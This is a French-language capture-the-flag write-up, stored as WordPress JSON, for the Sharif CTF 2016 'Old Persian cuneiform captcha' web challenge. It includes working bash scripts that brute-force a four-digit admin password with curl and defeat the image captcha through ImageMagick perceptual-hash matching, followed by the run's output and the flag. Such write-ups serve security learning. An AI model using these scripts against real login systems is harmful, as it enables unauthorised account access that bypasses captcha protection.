{"id":1817,"date":"2016-02-07T01:58:46","date_gmt":"2016-02-07T00:58:46","guid":{"rendered":"https:\/\/0x90r00t.com\/?p=1817"},"modified":"2016-02-07T14:49:46","modified_gmt":"2016-02-07T13:49:46","slug":"sharif-university-ctf-2016-web-250-old-persian-cuneiform-captcha-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2016\/02\/07\/sharif-university-ctf-2016-web-250-old-persian-cuneiform-captcha-write-up\/","title":{"rendered":"[Sharif University CTF 2016] [Web 250 \u2013 Old persian cuneiform captcha] Write Up"},"content":{"rendered":"
\n

Description<\/h2>\n

Old Persian cuneiform is a semi-alphabetic cuneiform script that was the primary script for the old persian language. You could get more information on following links,
\n1- http:\/\/www.ancientscripts.com\/oldpersian.html
\n2- https:\/\/en.wikipedia.org\/wiki\/Old_Persian_cuneiform.A web-based collections management for a museum has some extremely valuable information if one has admin user access.<\/p>\n

The Site<\/a><\/p>\n

We found that the \u00ab\u00a0admin\u00a0\u00bb user have a 4-digit password. But they use a captcha made of 10 old persian characters. One has to use the correspondence between symbols and strings to pass theye captcha verification (use \u00ab\u00a0trans.png\u00a0\u00bb).
\nLog in as \u00ab\u00a0admin\u00a0\u00bb to find the flag.
\nthe flag is in the fomat: [Your flag is: flagflagflag…] (without braces)<\/p>\n

\"trans\"<\/p><\/blockquote>\n

<\/p>\n

Resolution<\/h2>\n

Nous somme face \u00e0 un challenge vraiment tr\u00e8s simple, un bruteforce sur quatre chiffres \ud83d\ude42
\nHeureusement qu’ils ont pens\u00e9s \u00e0 rajouter un captcha.<\/p>\n

Commencons par le code du bruteforce, apr\u00e8s quelques tests, les messages d’erreurs sont \u00ab\u00a0Login failed\u00a0\u00bb pour une erreur dans le mot de passe, et \u00ab\u00a0Invalid captcha\u00a0\u00bb pour une erreur dans le captcha.<\/p>\n

Nous codons une petite boucle en bash, qui va tester les 10000 mots de passes possibles.
\nLa valeur du captcha est quant \u00e0 elle r\u00e9cup\u00e9r\u00e9e par un second script.<\/p>\n

\r\n#!\/bin\/bash\r\n\r\nfor passwd in {0000..9999}\r\ndo\r\n  caperror=1\r\n  while [ $caperror == 1 ]\r\n  do\r\n    rm -f *.jpg\r\n    captcha=$(.\/captcha.sh)\r\n    res=$(curl --retry 1000000 --connect-timeout 1 -s -L -b PHPSESSID=515386866780b5f132fc96c02b3ddb82 --data "username=admin&password=$passwd&captcha=$captcha" "http:\/\/ctf.sharif.edu:32455\/chal\/oldpersian\/04b2dfb564086721\/login\/submit\/")\r\n    echo $res | grep -q "Invalid captcha" || caperror=0\r\n  done\r\n  echo $res | grep -q "Login failed" || echo $passwd : $res\r\n  echo test : $passwd\r\ndone\r\n<\/pre>\n
Passons maintenant au script de r\u00e9cup\u00e9ration du captcha, pour cela nous avons mis dans le r\u00e9pertoire conv une image pour chaque lettre.<\/p>\n
\"conv\"<\/p>\n
Ensuite nous utilisons le programme compare de la suite ImageMagick, avec le metric phash.
\nCela retourne un nombre exprimant la diff\u00e9rence.<\/p>\n
Ex1 : Images diff\u00e9rentes.<\/p>\n
\r\ncompare -metric phash 1-0.jpg conv\/A.jpg NULL: 2>&1\r\n6.76925\r\n<\/pre>\n
Ex2 : Images presque identiques.<\/p>\n
\r\ncompare -metric phash 1-0.jpg conv\/F.jpg NULL: 2>&1\r\n0.0121092\r\n<\/pre>\n
Et voici le script du captcha :<\/p>\n
\r\n\r\n#!\/bin\/bash\r\ncurl --retry 1000000 --connect-timeout 1 -b PHPSESSID=515386866780b5f132fc96c02b3ddb82 -s "http:\/\/ctf.sharif.edu:32455\/chal\/oldpersian\/04b2dfb564086721\/captcha\/" > 1.jpg\r\nmogrify -crop 80x80 +repage 1.jpg\r\n\r\nls *.jpg | while read char\r\ndo\r\n  ls conv\/ | while read char_conv; do compare -metric phash $char conv\/$char_conv NULL: 2>&1 | grep -qE "^0.[0-9]*" && { echo -n $char_conv | sed 's\/.jpg\/\/'; break; }; done\r\ndone\r\n<\/pre>\n
Il ne nous reste plus qu’a lancer le script de bruteforce, et … passer \u00e0 autre chose.<\/p>\n
\r\n\r\ntest : 0000\r\ntest : 0001\r\n...\r\ntest : 7473\r\ntest : 7474\r\ntest : 7475\r\n7476 : Your flag is: 1a5bfab77002fc17e996ef292199885b\r\n\r\n<\/pre>\n
Le flag de validation est : 1a5bfab77002fc17e996ef292199885b<\/p>\n","protected":false},"excerpt":{"rendered":"
Description Old Persian cuneiform is a semi-alphabetic cuneiform script that was the primary script for the old persian language. You could get more information on following links, 1- http:\/\/www.ancientscripts.com\/oldpersian.html 2- https:\/\/en.wikipedia.org\/wiki\/Old_Persian_cuneiform.A web-based collections management for a museum has some extremely valuable information if one has admin user access. The Site We found that the \u00ab\u00a0admin\u00a0\u00bb … Continuer la lecture de [Sharif University CTF 2016] [Web 250 \u2013 Old persian cuneiform captcha] Write Up<\/span>  →<\/span><\/a><\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[130,35,135],"tags":[128,134,38,133,19],"class_list":["post-1817","post","type-post","status-publish","format-standard","hentry","category-2016-fr","category-ctf-fr","category-sharif-fr","tag-2016-fr","tag-captcha","tag-ctf-fr","tag-sharif","tag-web"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1817","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=1817"}],"version-history":[{"count":24,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1817\/revisions"}],"predecessor-version":[{"id":1879,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/1817\/revisions\/1879"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=1817"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=1817"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=1817"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}